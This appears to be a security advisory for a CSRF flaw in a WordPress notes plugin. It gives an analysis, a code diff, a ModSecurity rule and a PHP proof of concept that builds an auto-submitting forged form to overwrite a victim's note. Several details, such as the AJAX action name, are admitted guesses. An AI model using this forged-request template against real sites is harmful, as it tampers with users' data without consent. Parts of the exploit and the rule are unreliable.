Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 12, 2026

CVE-2026-7047: Frontend User Notes <= 2.1.1 Cross-Site Request Forgery to Note Content Modification via 'confirmEdit' Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-7047
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.1.1
Patched Version 2.2.0
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7047:

This vulnerability is a Cross-Site Request Forgery (CSRF) in the Frontend User Notes plugin for WordPress, affecting all versions up to and including 2.1.1. It allows an unauthenticated attacker to trick a logged-in user into overwriting their own note content via a forged AJAX request. The CVSS score is 4.3, reflecting the limited impact due to ownership restrictions.

The root cause is the missing nonce validation on the `funp_ajax_modify_notes` AJAX handler, defined in `/includes/ajax.php`. The vulnerable code path is in the ‘confirmEdit’ action branch of `funp_ajax_modify_notes` (around line 110-113), where the note content is updated via `wp_update_post()`. The diff shows that a nonce check was present only for the ‘remove’ action (lines 135-140), but was not applied to the ‘edit’ or ‘confirmEdit’ actions. Without nonce validation, WordPress’s `check_ajax_referer()` is not called for these actions, making them vulnerable to CSRF.

The attack vector is a forged cross-origin `admin-ajax.php` request. An attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to something that triggers `funp_ajax_modify_notes` (the plugin’s AJAX action hook, likely ‘funp_modify_notes’ or similar, registered via `wp_ajax_` and `wp_ajax_nopriv_`). The attacker includes parameters `noteContent` (the new content), `noteId` (the post ID of the victim’s note), and `security` (a nonce that would fail, but the nonce is not checked for ‘confirmEdit’). The request must be made while a logged-in user is tricked into visiting a malicious page, causing their browser to send the forged request.

The patch moves the nonce validation check to the beginning of the `funp_ajax_modify_notes` function (line 113-116 in the updated code), before any action-specific logic. Earlier, the nonce was only checked inside the ‘remove’ action block. This fix ensures that all CSRF-susceptible actions (edit, confirmEdit, and remove) are protected by nonce validation before processing. The patch also adds a new icon ‘delete_new’ and modifies the template to include a ‘pre_remove’ action, but these are unrelated to the CSRF fix.

The impact of exploitation is limited: an attacker can only overwrite notes belonging to the tricked victim (due to ownership enforcement via `_funp_single_user_id` meta comparison against the session user ID). This could lead to data loss or manipulation of the victim’s personal notes, but does not allow modifying other users’ notes or escalating privileges.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/frontend-user-notes/admin/admin_functions.php
+++ b/frontend-user-notes/admin/admin_functions.php
@@ -12,8 +12,8 @@
         add_action( 'admin_init', array($this, 'funp_admin_init') );
         add_action( 'admin_menu', array($this, 'funp_admin_menu') );
         add_action( 'init', array($this, 'funp_register_post_type') );
-        add_action('add_meta_boxes', array($this, 'funp_posttype_register_metaboxes') );
-        add_action('save_post', array($this, 'funp_posttype_save_metaboxes') );
+        add_action( 'add_meta_boxes', array($this, 'funp_posttype_register_metaboxes') );
+        add_action( 'save_post', array($this, 'funp_posttype_save_metaboxes') );
         add_filter( 'manage_frontend-user-notes_posts_columns', array($this, 'funp_posttype_admin_cols') );
         add_action( 'manage_frontend-user-notes_posts_custom_column', array($this, 'funp_posttype_admin_cols_data'), 10, 2 );
         add_filter( 'plugin_action_links', array($this, 'funp_add_plugin_action_links'), 10, 2 );
@@ -389,3 +389,9 @@

 }
 new Funp_Admin_Settings_Options;
+
+require_once( 'vendor/feedback.php' );
+
+add_action( 'plugins_loaded', function () {
+    new FUNP_Deactivation_Feedback( 'frontend-user-notes/frontend-user-notes.php' );
+});
 No newline at end of file
--- a/frontend-user-notes/admin/class/class_settings.php
+++ b/frontend-user-notes/admin/class/class_settings.php
@@ -345,7 +345,7 @@
                             <strong>Please Donate</strong>
                         </p>
                         <p>Please donate to keep this plugin updated and bugs free. It takes a lot of time and hard work to keep this plugin up to date and your donations really makes a difference. Thank you.</p>
-                        <p><a href="https://wppatch.com/plugins/?utm_source=funp_plugins_sidebar" target="_blank">Click here to Donate.</a></p>
+                        <p><a href="https://buy.wppatch.com/l/frontend-user-notes?layout=profile&utm_source=funp_plugins_sidebar" target="_blank">Click here to Donate.</a></p>
                     </div>
                 </div><!-- .postbox -->

--- a/frontend-user-notes/admin/vendor/feedback.php
+++ b/frontend-user-notes/admin/vendor/feedback.php
@@ -0,0 +1,314 @@
+<?php
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+class FUNP_Deactivation_Feedback {
+
+    private string $plugin_slug;
+
+    private const GFORM_URL = 'https://docs.google.com/forms/d/e/1FAIpQLSe5XilQA7z8c62yr3dZZGSNzZocp-7-rJcacPeopSmfQ_SI2A/formResponse';
+    private const GFORM_REASON   = 'entry.593102532';
+    private const GFORM_DETAILS  = 'entry.1160071922';
+    private const GFORM_EMAIL  = 'entry.49231883';
+    private const GFORM_SITE_URL = 'entry.453545393';
+    // ---------------------------------------------------------------------
+
+    public function __construct( string $plugin_slug ) {
+        $this->plugin_slug = $plugin_slug;
+        add_action( 'current_screen', [ $this, 'maybe_init' ] );
+        add_action( 'wp_ajax_funp_deactivation_feedback', [ $this, 'handle_ajax' ] );
+    }
+
+    public function maybe_init(): void {
+        $screen = get_current_screen();
+        if ( ! $screen || $screen->id !== 'plugins' ) return;
+
+        add_action( 'admin_head',   [ $this, 'render_styles' ] );
+        add_action( 'admin_footer', [ $this, 'render_modal'  ] );
+        add_action( 'admin_footer', [ $this, 'render_script' ] );
+    }
+
+    public function handle_ajax(): void {
+        check_ajax_referer( 'funp_deactivation_nonce', 'nonce' );
+
+        $reason  = sanitize_text_field( $_POST['reason']  ?? '' );
+        $details = sanitize_textarea_field( $_POST['details'] ?? '' );
+
+        // Send to Google Forms (fire-and-forget, non-blocking)
+        $response = wp_remote_post( self::GFORM_URL, [
+            'body' => [
+                self::GFORM_REASON   => $reason,
+                self::GFORM_DETAILS  => $details,
+                self::GFORM_EMAIL    => get_option( 'admin_email' ),
+                self::GFORM_SITE_URL => get_site_url(),
+            ],
+            'timeout'  => 5,
+            'blocking' => false, // Don't wait for Google's response
+        ] );
+
+        wp_send_json_success();
+    }
+
+    public function render_modal(): void {
+        $reasons = [
+            'no_longer_needed' => "I no longer need the plugin",
+            'found_better'     => "I found a better plugin",
+            'temporary'        => "It's a temporary deactivation",
+            'not_working'      => "The plugin isn't working",
+            'broke_site'       => "It broke my site",
+            'other'            => "Other",
+        ];
+        ?>
+        <div id="funp-deactivation-modal" class="mpdf-overlay" role="dialog" aria-modal="true" aria-labelledby="mpdf-title" hidden>
+            <div class="mpdf-modal">
+                <button class="mpdf-close" id="mpdf-close-btn" aria-label="Close">×</button>
+
+                <div class="mpdf-header">
+                    <svg class="mpdf-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.5">
+                        <path stroke-linecap="round" stroke-linejoin="round"
+                              d="M9.879 7.519c1.171-1.025 3.071-1.025 4.242 0 1.172 1.025 1.172 2.687 0 3.712-.203.179-.43.326-.67.442-.745.361-1.45.999-1.45 1.827v.75M21 12a9 9 0 11-18 0 9 9 0 0118 0zm-9 5.25h.008v.008H12v-.008z" />
+                    </svg>
+                    <h2 id="mpdf-title">Quick Feedback</h2>
+                    <p>If you have a moment, please let us know why you're deactivating.</p>
+                </div>
+
+                <form id="mpdf-form" novalidate>
+                    <div class="mpdf-reasons">
+                        <?php foreach ( $reasons as $value => $label ) : ?>
+                        <label class="mpdf-reason-item">
+                            <input type="radio" name="mpdf_reason" value="<?php echo esc_attr( $value ); ?>">
+                            <span class="mpdf-radio-custom"></span>
+                            <span class="mpdf-reason-label"><?php echo esc_html( $label ); ?></span>
+                        </label>
+                        <?php endforeach; ?>
+                    </div>
+
+                    <div class="mpdf-details-wrap" hidden>
+                        <textarea
+                            id="mpdf-details"
+                            name="mpdf_details"
+                            rows="3"
+                            placeholder="Please share any additional details (optional)…"
+                            maxlength="500"
+                        ></textarea>
+                        <div class="mpdf-char-count"><span id="mpdf-chars">0</span>/500</div>
+                    </div>
+
+                    <div class="mpdf-actions">
+                        <button type="button" class="mpdf-btn mpdf-btn-skip" id="mpdf-skip-btn">
+                            Skip & Deactivate
+                        </button>
+                        <button type="submit" class="mpdf-btn mpdf-btn-submit" id="mpdf-submit-btn" disabled>
+                            Submit & Deactivate
+                        </button>
+                    </div>
+
+                    <div class="mpdf-spinner" id="mpdf-spinner" hidden>
+                        <span></span> Submitting…
+                    </div>
+                </form>
+            </div>
+        </div>
+        <?php
+    }
+
+    public function render_script(): void {
+        $ajax_url = admin_url( 'admin-ajax.php' );
+        $nonce    = wp_create_nonce( 'funp_deactivation_nonce' );
+        $slug     = esc_js( $this->plugin_slug );
+        ?>
+        <script>
+        (function () {
+            'use strict';
+
+            const SLUG    = '<?php echo $slug; ?>';
+            const AJAXURL = '<?php echo esc_js( $ajax_url ); ?>';
+            const NONCE   = '<?php echo esc_js( $nonce ); ?>';
+
+            let deactivateLink = null;
+
+            function findDeactivateLink() {
+
+                const row = document.querySelector('tr[data-plugin="' + SLUG + '"]');
+                if (!row) return null;
+                return row.querySelector('a[href*="action=deactivate"]') || null;
+            }
+
+            function openModal(link) {
+                deactivateLink = link;
+                const modal = document.getElementById('funp-deactivation-modal');
+                modal.removeAttribute('hidden');
+                modal.querySelector('input[type=radio]').focus();
+                document.body.style.overflow = 'hidden';
+            }
+
+            function closeModal() {
+                document.getElementById('funp-deactivation-modal').setAttribute('hidden', '');
+                document.body.style.overflow = '';
+            }
+
+            function doDeactivate() {
+                if (deactivateLink) window.location.href = deactivateLink.href;
+            }
+
+            document.addEventListener('DOMContentLoaded', function () {
+                const link = findDeactivateLink();
+                if (!link) return;
+
+                // Intercept the Deactivate click
+                link.addEventListener('click', function (e) {
+                    e.preventDefault();
+                    openModal(link);
+                });
+
+                // Close on backdrop click
+                document.getElementById('funp-deactivation-modal')
+                    .addEventListener('click', function (e) {
+                        if (e.target === this) closeModal();
+                    });
+
+                document.getElementById('mpdf-close-btn').addEventListener('click', closeModal);
+                document.getElementById('mpdf-skip-btn').addEventListener('click', doDeactivate);
+
+                document.addEventListener('keydown', function (e) {
+                    if (e.key === 'Escape') closeModal();
+                });
+
+                // Radio → enable submit + reveal textarea
+                document.querySelectorAll('input[name="mpdf_reason"]').forEach(function (radio) {
+                    radio.addEventListener('change', function () {
+                        document.getElementById('mpdf-submit-btn').disabled = false;
+                        document.querySelector('.mpdf-details-wrap').removeAttribute('hidden');
+                    });
+                });
+
+                // Character counter
+                document.getElementById('mpdf-details').addEventListener('input', function () {
+                    document.getElementById('mpdf-chars').textContent = this.value.length;
+                });
+
+                // Submit → AJAX to WP (which forwards to Google Forms) → deactivate
+                document.getElementById('mpdf-form').addEventListener('submit', function (e) {
+                    e.preventDefault();
+
+                    const reason  = (document.querySelector('input[name="mpdf_reason"]:checked') || {}).value || '';
+                    const details = document.getElementById('mpdf-details').value;
+
+                    document.getElementById('mpdf-submit-btn').disabled = true;
+                    document.getElementById('mpdf-spinner').removeAttribute('hidden');
+
+                    fetch(AJAXURL, {
+                        method : 'POST',
+                        body   : new URLSearchParams({
+                            action : 'funp_deactivation_feedback',
+                            nonce  : NONCE,
+                            reason : reason,
+                            details: details,
+                        }),
+                    })
+                    .catch(function () { /* silent fail — still deactivate */ })
+                    .finally(doDeactivate);
+                });
+            });
+        })();
+        </script>
+        <?php
+    }
+
+    public function render_styles(): void {
+        ?>
+        <style>
+        .mpdf-overlay {
+            position: fixed; inset: 0;
+            background: rgba(0,0,0,.55);
+            display: flex; align-items: center; justify-content: center;
+            z-index: 999999;
+            animation: mpdfFadeIn .18s ease;
+        }
+        .mpdf-overlay[hidden] { display: none; }
+        @keyframes mpdfFadeIn { from { opacity:0; } to { opacity:1; } }
+
+        .mpdf-modal {
+            background: #fff; border-radius: 10px;
+            width: 100%; max-width: 480px; padding: 32px;
+            position: relative;
+            box-shadow: 0 20px 60px rgba(0,0,0,.25);
+            animation: mpdfSlideUp .2s ease;
+        }
+        @keyframes mpdfSlideUp {
+            from { opacity:0; transform:translateY(16px); }
+            to   { opacity:1; transform:translateY(0); }
+        }
+
+        .mpdf-close {
+            position: absolute; top: 14px; right: 16px;
+            background: none; border: none; font-size: 22px; line-height: 1;
+            color: #999; cursor: pointer; padding: 4px 8px;
+            border-radius: 4px; transition: color .15s, background .15s;
+        }
+        .mpdf-close:hover { color: #333; background: #f0f0f0; }
+
+        .mpdf-header { text-align: center; margin-bottom: 24px; }
+        .mpdf-icon { width: 40px; height: 40px; color: #f0813a; margin-bottom: 12px; }
+        .mpdf-header h2 { margin: 0 0 6px; font-size: 20px; color: #1d2327; }
+        .mpdf-header p  { margin: 0; color: #646970; font-size: 14px; }
+
+        .mpdf-reasons { display: flex; flex-direction: column; gap: 8px; margin-bottom: 16px; }
+        .mpdf-reason-item {
+            display: flex; align-items: center; gap: 10px;
+            padding: 10px 14px; border: 1.5px solid #e0e0e0; border-radius: 7px;
+            cursor: pointer; transition: border-color .15s, background .15s;
+        }
+        .mpdf-reason-item:hover { border-color: #2271b1; background: #f6f9ff; }
+        .mpdf-reason-item input[type=radio] { display: none; }
+
+        .mpdf-radio-custom {
+            width: 16px; height: 16px; flex-shrink: 0;
+            border: 2px solid #c0c0c0; border-radius: 50%;
+            position: relative; transition: border-color .15s;
+        }
+        .mpdf-reason-item input:checked ~ .mpdf-radio-custom { border-color: #2271b1; }
+        .mpdf-reason-item input:checked ~ .mpdf-radio-custom::after {
+            content: ''; position: absolute; inset: 3px;
+            border-radius: 50%; background: #2271b1;
+        }
+        .mpdf-reason-item input:checked ~ .mpdf-reason-label { font-weight: 600; color: #2271b1; }
+        .mpdf-reason-label { font-size: 14px; color: #3c434a; }
+
+        .mpdf-details-wrap[hidden] { display: none; }
+        .mpdf-details-wrap { position: relative; margin-bottom: 16px; }
+        #mpdf-details {
+            width: 100%; box-sizing: border-box;
+            border: 1.5px solid #e0e0e0; border-radius: 7px;
+            padding: 10px 12px; font-size: 13px; font-family: inherit;
+            resize: vertical; min-height: 80px; transition: border-color .15s;
+        }
+        #mpdf-details:focus { outline: none; border-color: #2271b1; }
+        .mpdf-char-count { text-align: right; font-size: 11px; color: #aaa; margin-top: 4px; }
+
+        .mpdf-actions { display: flex; gap: 10px; justify-content: flex-end; }
+        .mpdf-btn {
+            padding: 9px 18px; border-radius: 6px;
+            font-size: 13px; font-weight: 600; cursor: pointer;
+            border: none; transition: background .15s, opacity .15s;
+        }
+        .mpdf-btn-skip { background: #f6f7f7; color: #646970; border: 1.5px solid #dcdcde; }
+        .mpdf-btn-skip:hover { background: #dcdcde; }
+        .mpdf-btn-submit { background: #2271b1; color: #fff; }
+        .mpdf-btn-submit:hover:not(:disabled) { background: #135e96; }
+        .mpdf-btn-submit:disabled { opacity: .5; cursor: not-allowed; }
+
+        .mpdf-spinner {
+            display: flex; align-items: center; gap: 8px;
+            justify-content: center; font-size: 13px; color: #646970; margin-top: 12px;
+        }
+        .mpdf-spinner[hidden] { display: none; }
+        .mpdf-spinner span {
+            width: 14px; height: 14px;
+            border: 2px solid #ddd; border-top-color: #2271b1;
+            border-radius: 50%; animation: mpdfSpin .7s linear infinite; display: inline-block;
+        }
+        @keyframes mpdfSpin { to { transform: rotate(360deg); } }
+        </style>
+        <?php
+    }
+}
--- a/frontend-user-notes/frontend-user-notes.php
+++ b/frontend-user-notes/frontend-user-notes.php
@@ -3,7 +3,7 @@
  * Plugin Name:       Frontend User Notes
  * Plugin URI:        https://wppatch.com/plugins/
  * Description:       Allow site members and registered users to add and save personal notes from site's frontend. The notes add and update in real time using ajax. Suitable for task management, membership and e-learning sites. Fast, secure and fully customizable.
- * Version:           2.1.1
+ * Version:           2.2.0
  * Requires at least: 4.5
  * Requires PHP:      5.6
  * Author:            wpPatch
@@ -24,7 +24,7 @@
 //Define plugin path
 define('FUNP_FN_DIR', plugin_dir_path( __FILE__ ));
 define('FUNP_FN_URL', plugin_dir_url( __FILE__ ));
-define('FUNP_CUR_VERSION', '2.1.1');
+define('FUNP_CUR_VERSION', '2.2.0');
 //registration hook
 // register_activation_hook(__FILE__, 'funp_do_action_on_activation');
 // function funp_do_action_on_activation(){
@@ -38,4 +38,4 @@
     require_once( FUNP_FN_DIR .'/includes/main.php' );
 }

-funp_init_load();
+funp_init_load();
 No newline at end of file
--- a/frontend-user-notes/includes/ajax.php
+++ b/frontend-user-notes/includes/ajax.php
@@ -20,6 +20,7 @@
     if( !empty( $notes ) ) {
         foreach( $notes as $note ){
             $html .= '<article id="funp__card_'.esc_attr( $note['id'] ).'" class="funp__card" data-id="'.esc_attr( $note['id'] ).'"><div class="funp__card_placeholder"></div>';
+            $html .='<span id="funp__cont_id_'.esc_attr( $note['id'] ).'" class="funp__card_note_cont" data-cont-id="'.esc_attr( $note['id'] ).'">'.wp_strip_all_tags( $note['content'], true ).'</span>';
             $html .= '<span class="funp__card_action_links">';
             $action_links = funp_notes_inner_links( $nonce, $note['id'] );
             foreach( $action_links as $key => $link ){
@@ -29,7 +30,6 @@
                 }
             }
             $html .= '</span>';
-            $html .='<span id="funp__cont_id_'.esc_attr( $note['id'] ).'" class="funp__card_note_cont" data-cont-id="'.esc_attr( $note['id'] ).'">'.wp_strip_all_tags( $note['content'], true ).'</span>';
             $html .= '</article>';
         }//foreach
     } else {
@@ -110,6 +110,11 @@
     $cont       = isset( $_POST["noteContent"] ) ? sanitize_textarea_field( wp_unslash ( $_POST["noteContent"] ) ) : null;
     $user_id    = funp_cur_user_id();

+    if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) {
+        $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes');
+        wp_send_json_error( $message );
+    }
+
     if ( !$user_id ) {
         $message = __('Unauthorized. You must be logged in.', 'frontend-user-notes');
         wp_send_json_error( $message );
@@ -135,11 +140,6 @@
     }

     if( $action === esc_html("remove") ){
-        if ( check_ajax_referer( 'funp_note_action_nonce', 'security', false ) == false ) {
-            $message = __('Nonce Error! Please relead the page.', 'frontend-user-notes');
-            wp_send_json_error( $message );
-        }
-
         // Delete the post
         $delete = wp_delete_post($post_id, false);

--- a/frontend-user-notes/includes/main.php
+++ b/frontend-user-notes/includes/main.php
@@ -246,7 +246,8 @@
         'submit' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentcolor" d="M352 96l64 0c17.7 0 32 14.3 32 32l0 256c0 17.7-14.3 32-32 32l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c53 0 96-43 96-96l0-256c0-53-43-96-96-96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32zm-9.4 182.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L242.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z"/></svg>',
         'delete' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><path fill="currentcolor" d="M342.6 150.6c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0L192 210.7 86.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L146.7 256 41.4 361.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L192 301.3 297.4 406.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L237.3 256 342.6 150.6z"/></svg>',
         'edit'  => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path fill="currentcolor" d="M362.7 19.3L314.3 67.7 444.3 197.7l48.4-48.4c25-25 25-65.5 0-90.5L453.3 19.3c-25-25-65.5-25-90.5 0zm-71 71L58.6 323.5c-10.4 10.4-18 23.3-22.2 37.4L1 481.2C-1.5 489.7 .8 498.8 7 505s15.3 8.5 23.7 6.1l120.3-35.4c14.1-4.2 27-11.8 37.4-22.2L421.7 220.3 291.7 90.3z"/></svg>',
-        'check' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentcolor" d="M438.6 105.4c12.5 12.5 12.5 32.8 0 45.3l-256 256c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 338.7 393.4 105.4c12.5-12.5 32.8-12.5 45.3 0z"/></svg>',
+        'delete_new' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentcolor" d="M136.7 5.9L128 32 32 32C14.3 32 0 46.3 0 64S14.3 96 32 96l384 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-96 0-8.7-26.1C306.9-7.2 294.7-16 280.9-16L167.1-16c-13.8 0-26 8.8-30.4 21.9zM416 144L32 144 53.1 467.1C54.7 492.4 75.7 512 101 512L347 512c25.3 0 46.3-19.6 47.9-44.9L416 144z"/></svg>',
+        'check' => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><path fill="currentcolor" d="M434.8 70.1c14.3 10.4 17.5 30.4 7.1 44.7l-256 352c-5.5 7.6-14 12.3-23.4 13.1s-18.5-2.7-25.1-9.3l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0l101.5 101.5 234-321.7c10.4-14.3 30.4-17.5 44.7-7.1z"/></svg>',
     );
     return $icons;
 }
@@ -390,3 +391,44 @@

 }

+add_action( 'admin_notices', 'funp_admin_donation_notice' );
+function funp_admin_donation_notice() {
+
+    if ( isset( $_GET['funp_hide_donation_notice_june26'] ) && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ?? '' ) ), 'funp_hide_donation_notice_june26' ) ) {
+        update_user_meta( get_current_user_id(), 'funp_hide_donation_notice_june26', 1 );
+    }
+
+    if ( get_user_meta( get_current_user_id(), 'funp_hide_donation_notice_june26', true ) ) {
+        return;
+    }
+
+    if ( ! current_user_can( 'manage_options' ) ) {
+        return;
+    }
+
+    $dismiss_url = wp_nonce_url(
+        add_query_arg( 'funp_hide_donation_notice_june26', 1 ),
+        'funp_hide_donation_notice_june26'
+    );
+    ?>
+
+    <div class="notice notice-info">
+        <p><strong><?php echo esc_html__( 'Enjoying Frontend User Notes?', 'frontend-user-notes' ); ?></strong></p>
+
+        <p>
+            <?php echo esc_html__( 'Frontend User Notes is free and actively maintained. If it saves you time or helps your workflow, please consider supporting its continued development with a small donation. Thank you for your support!', 'frontend-user-notes' ); ?>
+        </p>
+
+        <p>
+            <a href="<?php echo esc_url( 'https://buy.wppatch.com/l/frontend-user-notes?layout=profile&utm_source=funp_plugins_admin_notice' ); ?>" target="_blank" rel="noopener noreferrer" class="button button-primary">
+                <?php echo esc_html__( '☕ Support Development', 'frontend-user-notes' ); ?>
+            </a>
+
+            <a href="<?php echo esc_url( $dismiss_url ); ?>" class="button">
+                <?php echo esc_html__( 'Hide Forever', 'frontend-user-notes' ); ?>
+            </a>
+        </p>
+    </div>
+
+    <?php
+}
 No newline at end of file
--- a/frontend-user-notes/includes/templates.php
+++ b/frontend-user-notes/includes/templates.php
@@ -74,19 +74,18 @@
 */
 function funp_notes_inner_links( $nonce, $note_id ){
     $action_links = [
-        'remove' => [
-            'style'  => '',
-            'class'  => 'funp__card_action funp__remove_btn_action',
+        'cancel' => [
+            'style'  => 'display: none;',
+            'class'  => 'funp__card_action funp__cancel_btn_action',
             'href'   => '#',
             'data'   => [
                 'action-id' => $note_id,
-                'action'    => 'funp__action_remove',
-                'nonce'     => $nonce,
+                'action'    => 'funp__action_cancel',
+                'nonce'     =>  null,
             ],
-            'title'  => esc_html__( 'Delete', 'frontend-user-notes' ),
+            'title'  => esc_html__( 'Cancel', 'frontend-user-notes' ),
             'icon'   => funp_load_svg_icons()['delete'],
-            'title'  => esc_html__( 'Delete', 'frontend-user-notes' ),
-            'after_link'    => '',
+             'after_link'    => '',
         ],
         'edit' => [
             'style'  => '',
@@ -99,7 +98,7 @@
             ],
             'title'  => esc_html__( 'Edit', 'frontend-user-notes' ),
             'icon'   => funp_load_svg_icons()['edit'],
-
+             'after_link'    => '',
         ],
         'confirmEdit' => [
             'style'  => 'display: none;',
@@ -111,10 +110,36 @@
                 'nonce'     => $nonce,
             ],
             'title'  => esc_html__( 'Save changes', 'frontend-user-notes' ),
+            'icon'   =>  funp_load_svg_icons()['check'],
+            'after_link'    => '',
+        ],
+        'pre_remove' => [
+            'style'  => '',
+            'class'  => 'funp__card_action funp__pre_remove_btn_action',
+            'href'   => '#',
+            'data'   => [
+                'action-id' => $note_id,
+                'action'    => 'funp__action_pre_remove',
+                'nonce'     =>  null,
+            ],
+            'title'  => esc_html__( 'Delete', 'frontend-user-notes' ),
+            'icon'   => funp_load_svg_icons()['delete_new'],
+             'after_link'    => '',
+        ],
+        'remove' => [
+            'style'  => 'display: none;',
+            'class'  => 'funp__card_action funp__remove_btn_action',
+            'href'   => '#',
+            'data'   => [
+                'action-id' => $note_id,
+                'action'    => 'funp__action_remove',
+                'nonce'     => $nonce,
+            ],
+            'title'  => esc_html__( 'Delete', 'frontend-user-notes' ),
             'icon'   => funp_load_svg_icons()['check'],
+            'title'  => esc_html__( 'Confirm Delete?', 'frontend-user-notes' ),
             'after_link'    => '',
         ],
-
     ];

     return apply_filters( 'funp_modify_action_links',  $action_links, $nonce, $note_id );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7047
# Blocks CSRF exploitation attempts targeting the funp_modify_notes AJAX action without nonce validation
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261997,phase:2,deny,status:403,chain,msg:'CVE-2026-7047 - CSRF attempt on funp_modify_notes',severity:'CRITICAL',tag:'CVE-2026-7047'"
SecRule ARGS_POST:action "@streq funp_modify_notes" 
  "chain"
SecRule ARGS_POST:security "@rx ^$" 
  "chain"
SecRule ARGS_POST:noteContent "@rx .+" 
  "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7047 - Frontend User Notes <= 2.1.1 - Cross-Site Request Forgery to Note Content Modification via 'confirmEdit' Action

/*
 * This PoC demonstrates CSRF exploitation to overwrite a victim's note content.
 * The attacker crafts a hidden form that auto-submits to the vulnerable AJAX endpoint.
 * The victim must be logged into WordPress.
 * Replace $target_url with the victim's WordPress site URL.
 */

// Configuration
$target_url = 'http://victim-site.com'; // Target WordPress site (no trailing slash)
$note_id = 123; // ID of a note belonging to the victim (attacker must know or guess)
$new_content = 'PWNED: This note has been overwritten via CSRF attack.';

// The AJAX action hook name (assumed from plugin structure; may need adjustment)
$ajax_action = 'funp_modify_notes';

// Build the forged request
$url = $target_url . '/wp-admin/admin-ajax.php';

// Craft HTML that auto-submits the form (to be hosted on attacker-controlled page)
$html_form = <<<HTML
<!DOCTYPE html>
<html>
<body>
<form id="csrf_form" action="$url" method="POST">
    <input type="hidden" name="action" value="$ajax_action">
    <input type="hidden" name="noteId" value="$note_id">
    <input type="hidden" name="noteContent" value="$new_content">
    <!-- The nonce field is NOT needed because the vulnerability bypasses it -->
    <input type="submit" value="Click me">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>
HTML;

echo $html_form;

/*
 * Note: The actual plugin AJAX action hook registered is likely 'funp_modify_notes' based on the function name funp_ajax_modify_notes.
 * The nonce field 'security' is expected by the patched code, but absent in the vulnerable version for 'confirmEdit' action.
 * This PoC triggers the 'confirmEdit' action by default because the edit link's data attributes include 'action-id' and the JavaScript handles it.
 * However, for a pure CSRF, any action that modifies content works. The attacker must know the note ID, which could be discovered if notes are listed on the frontend.
 */

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School